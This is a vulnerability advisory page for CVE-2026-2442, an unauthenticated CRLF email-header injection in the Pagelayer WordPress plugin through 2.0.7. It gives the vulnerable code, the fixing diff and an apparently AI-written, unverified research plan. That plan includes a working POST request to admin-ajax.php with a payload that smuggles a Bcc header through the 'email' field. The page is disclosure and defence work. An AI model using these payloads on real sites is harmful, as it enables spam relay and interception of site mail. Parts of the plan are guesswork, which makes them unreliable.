CVE-2026-2442

Pagelayer <= 2.0.7 - Improper Neutralization of CRLF Sequences to Unauthenticated Email Header Injection via 'email'

mediumImproper Neutralization of CRLF Sequences ('CRLF Injection')
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.0.8
Patched in
1d
Time to patch

Description

The Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress is vulnerable to Improper Neutralization of CRLF Sequences ('CRLF Injection') in all versions up to, and including, 2.0.7. This is due to the contact form handler performing placeholder substitution on attacker-controlled form fields and then passing the resulting values into email headers without removing CR/LF characters. This makes it possible for unauthenticated attackers to inject arbitrary email headers (for example Bcc / Cc) and abuse form email delivery via the 'email' parameter granted they can target a contact form configured to use placeholders in mail template headers.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.7
PublishedMarch 27, 2026
Last updatedMarch 28, 2026
Affected pluginpagelayer

What Changed in the Fix

Changes introduced in v2.0.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The **Pagelayer** plugin for WordPress (versions <= 2.0.7) is vulnerable to **CRLF Injection** in its contact form handling logic. The plugin performs placeholder substitution (e.g., replacing `[email]` with the user-provided email address) in email templates, including hea…

Show full research plan

Vulnerability Summary

The Pagelayer plugin for WordPress (versions <= 2.0.7) is vulnerable to CRLF Injection in its contact form handling logic. The plugin performs placeholder substitution (e.g., replacing [email] with the user-provided email address) in email templates, including headers like From or Reply-To. Because the plugin fails to sanitize or neutralize Carriage Return (\r / %0D) and Line Feed (\n / %0A) characters in the email parameter before using it in the headers of a wp_mail() call, an unauthenticated attacker can inject arbitrary email headers such as Bcc: or Cc:. This allows the contact form to be abused for spamming or unauthorized email delivery.

Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: pagelayer_contact_form (inferred from common plugin naming and widget context).
  • Vulnerable Parameter: email
  • Authentication: Unauthenticated (PR:N)
  • Preconditions: A contact form must be created (usually via a shortcode) and configured to use the [email] placeholder in its mail headers (which is the default behavior for "Reply-To").

Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action pagelayer_contact_form.
  2. Handler Registration: The plugin registers the handler via add_action('wp_ajax_nopriv_pagelayer_contact_form', ...) (likely located in main/class.php or a widget-specific file).
  3. Input Processing: The handler retrieves the email parameter using pagelayer_optreq('email').
  4. Sanitization Check: pagelayer_optreq calls pagelayer_inputsec() (found in main/functions.php), which only performs addslashes() and escapes backticks. It does not strip CRLF characters.
  5. Substitution: The handler takes an email header template (e.g., Reply-To: [email]) and performs a string replacement:
    $headers = str_replace('[email]', $user_email, $header_template);
  6. Sinking: The resulting $headers string, now containing injected newlines and additional headers, is passed directly to the wp_mail() function:
    wp_mail($to, $subject, $message, $headers);

Nonce Acquisition Strategy

The Pagelayer contact form requires a nonce for submission. Based on main/ajax.php, the plugin uses the key pagelayer_nonce and the action pagelayer_ajax.

  1. Identify Shortcode: The contact form is likely rendered via the shortcode [pl_contact_form] (based on PAGELAYER_SC_PREFIX being pl).
  2. Create Test Page:
    wp post create --post_type=page --post_title="Contact Test" --post_status=publish --post_content='[pl_contact_form id="1"]'
    
  3. Navigate and Extract: Use the browser_navigate tool to open the created page.
  4. Browser Evaluation: Execute JavaScript to find the nonce and form settings.
    // Pagelayer typically localizes these in a global object
    browser_eval("window.pagelayer_config?.nonce || window.pagelayer_ajax_nonce || pagelayer_settings?.nonce")
    
    Note: If the nonce is not in a global variable, the agent should inspect the form HTML for a hidden input named pagelayer_nonce.

Exploitation Strategy

1. Preparation

Create a page with a contact form to ensure the widget is active and the nonce is generated.

2. Header Injection Payload

The goal is to inject a Bcc header.

  • Payload: victim@example.com%0D%0ABcc:attacker@example.com
  • Target Parameter: email

3. HTTP Request (via http_request tool)

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=pagelayer_contact_form&
pagelayer_nonce=[EXTRACTED_NONCE]&
id=1&
email=test%40example.com%0D%0ABcc%3Apwned%40target.com&
name=Attacker&
subject=Hello&
message=This+is+a+test+message

(Parameters like id, name, and message may vary depending on the form's configuration; the agent should inspect the form fields on the test page.)

Test Data Setup

  1. Plugin Installation: Ensure Pagelayer <= 2.0.7 is active.
  2. Mock Form: Create a page with the contact form widget.
    wp post create --post_type=page --post_status=publish --post_content='[pl_contact_form]'
    
  3. Mail Logging: To verify the exploit without a real SMTP server, install a mail logging plugin or add a snippet to functions.php:
    wp eval "add_filter('wp_mail', function(\$args){ error_log('MAIL_HEADERS: ' . \$args['headers']); return \$args; });"
    

Expected Results

  1. The plugin accepts the request and returns a success JSON response (e.g., {"success": true}).
  2. The injected Bcc:pwned@target.com header is processed by PHP's mail() function (via wp_mail).
  3. In the debug.log (if logging is enabled), the headers will show a newline followed by the injected header:
    Reply-To: test@example.com
    Bcc:pwned@target.com
    

Verification Steps

  1. Check Logs: Use wp_cli to check the error log for the injected string.
    tail -n 20 wp-content/debug.log | grep "Bcc:pwned"
    
  2. Verify Nonce Usage: If the request returns a 403 or a nonce error, verify the nonce action string by grepping the source for check_ajax_referer calls related to contact forms.

Alternative Approaches

  • Different Placeholders: If the email parameter is not used in headers by default, try other fields like subject if they are substituted into the header string.
  • Form ID Discovery: If the id parameter is required but unknown, use browser_eval to find the data-id or id attribute of the .pagelayer-contact-form element.
  • Direct Action Probe: If pagelayer_contact_form is incorrect, search the plugin directory for any wp_ajax_nopriv registration:
    grep -r "wp_ajax_nopriv" wp-content/plugins/pagelayer/
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Pagelayer plugin for WordPress is vulnerable to CRLF Injection because its contact form handler fails to sanitize newline characters in user-provided inputs before substituting them into email headers. This allows unauthenticated attackers to inject arbitrary headers such as Bcc or Cc into emails sent by the plugin, facilitating the use of the site's server for unauthorized email delivery or spamming.

Vulnerable Code

// main/functions.php line 283
function pagelayer_inputsec($string){

	$string = addslashes($string);

	// This is to replace ` which can cause the command to be executed in exec()
	$string = str_replace('`', '\` grade', $string);

	return $string;
}

---

// main/ajax.php line 1344
	// Do parse a variables
	$to_mail = pagelayer_replace_vars($to_mail, $formdata, '$');
	$from_mail = pagelayer_replace_vars($from_mail, $formdata, '$');
	$subject = pagelayer_replace_vars($subject, $formdata, '$');
	$headers = pagelayer_replace_vars($headers, $formdata, '$');
	$body = pagelayer_replace_vars($body, $formdata, '$');
	
	// (lines 1391-1394)
	// Send the email
	if(!empty($to_mail)){
		wp_mail($to_mail, $subject, $body, $headers);
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.7/main/ajax.php /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.8/main/ajax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.7/main/ajax.php	2025-10-24 13:19:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.8/main/ajax.php	2026-02-18 10:29:02.000000000 +0000
@@ -1343,38 +1334,52 @@
 		$body .= "\n\n --\n This e-mail was sent from a contact form (".get_home_url().")";
 	
 	}
-	
-	// Dow we have a reply to in the headers ?
-	if(!preg_match('/reply\-to/is', $headers) && !empty($reply_to)){
-		$headers .= "Reply-To: $reply_to\n";
-	}
-	
 	// Add attachment
 	if(!empty($_FILES)){
 		add_action('phpmailer_init', 'pagelayer_cf_email_attachment', 10, 1);
 	}
 	
+	$sanitized_data = array();
+	
 	// If we are using HTML, then we should escape html as well
-	if(!empty($use_html)){
-		foreach($formdata as $k => $i){
-			
-			if(is_array($i)){
-				$i = pagelayer_flat_join($i);
-			}
-			
-			$formdata[$k] = esc_html($i);
+	foreach($formdata as $k => $i){
+		
+		if(is_array($i)){
+			$i = pagelayer_flat_join($i);
+		}
+		
+		$i = pagelayer_esc_crlf($i);
+		
+		if(!empty($use_html)){
+			$i = esc_html($i);
+		}
+		
+		// Sanitize text field
+		$i = sanitize_text_field($i);
+		
+		// Record a reply to if it is to be used
+		if(is_email($i) && empty($reply_to)){
+			$reply_to = $i;
 		}
+		
+		$sanitized_data[$k] = $i;	
+	}
+	
+	// Dow we have a reply to in the headers ?
+	if(!preg_match('/reply\-to/is', $headers) && !empty($reply_to)){
+		$headers .= "Reply-To: $reply_to\n";
 	}
 	
 	// Add Site Title as option in formdata
-	$formdata['site_title'] = get_bloginfo( 'name' );
+	$sanitized_data['site_title'] = get_bloginfo( 'name' );
 	
 	// Do parse a variables
-	$to_mail = pagelayer_replace_vars($to_mail, $formdata, '$');
-	$from_mail = pagelayer_replace_vars($from_mail, $formdata, '$');
-	$subject = pagelayer_replace_vars($subject, $formdata, '$');
-	$headers = pagelayer_replace_vars($headers, $formdata, '$');
-	$body = pagelayer_replace_vars($body, $formdata, '$');
+	$to_mail = pagelayer_replace_vars($to_mail, $sanitized_data, '$');
+	$from_mail = pagelayer_replace_vars($from_mail, $sanitized_data, '$');
+	$subject = pagelayer_replace_vars($subject, $sanitized_data, '$');
+	$headers = pagelayer_replace_vars($headers, $sanitized_data, '$');
+	$body = pagelayer_replace_vars($body, $sanitized_data, '$');
 	
 	if ( $use_html && ! preg_match( '%<html[>\s].*</html>%is', $body ) ) {
 		$header = '<!doctype html>
@@ -1387,7 +1392,7 @@
 		$body = $header . wpautop( $body ) . $footer;
 	}
 	
-	$to_mail = apply_filters('pagelayer_contact_send', $to_mail, $formdata);
+	$to_mail = apply_filters('pagelayer_contact_send', $to_mail, $sanitized_data);
 	
 	// Send the email
 	if(!empty($to_mail)){
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.7/main/functions.php /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.8/main/functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.7/main/functions.php	2025-12-04 14:22:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/pagelayer/2.0.8/main/functions.php	2026-02-18 10:29:02.000000000 +0000
@@ -3984,3 +3984,14 @@
 	
 	return false;
 }
+
+function pagelayer_esc_crlf($value){
+
+    // Remove CRLF to prevent header injection
+    $value = str_replace(array("\r", "\n", "%0a", "%0d"), '', $value);
+
+    // Trim spaces
+    $value = trim($value);
+
+    return $value;
+}

Exploit Outline

1. Identify a page on the target WordPress site that contains a Pagelayer contact form widget. 2. Obtain a valid AJAX nonce by inspecting the page source for the `pagelayer_nonce` or `pagelayer_settings` object. 3. Construct an unauthenticated AJAX request to `wp-admin/admin-ajax.php` with the action `pagelayer_contact_form`. 4. In the `email` parameter, inject a payload containing a valid email followed by URL-encoded CRLF characters and a malicious header, such as `victim@example.com%0D%0ABcc:attacker@example.com`. 5. When the plugin processes the form, the `pagelayer_replace_vars` function substitutes the malicious `email` value into the `$headers` string without neutralizing the newlines. 6. The final call to `wp_mail()` sends the email including the injected Bcc header, allowing the attacker to receive a copy of the message or use the server to send emails to external addresses.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.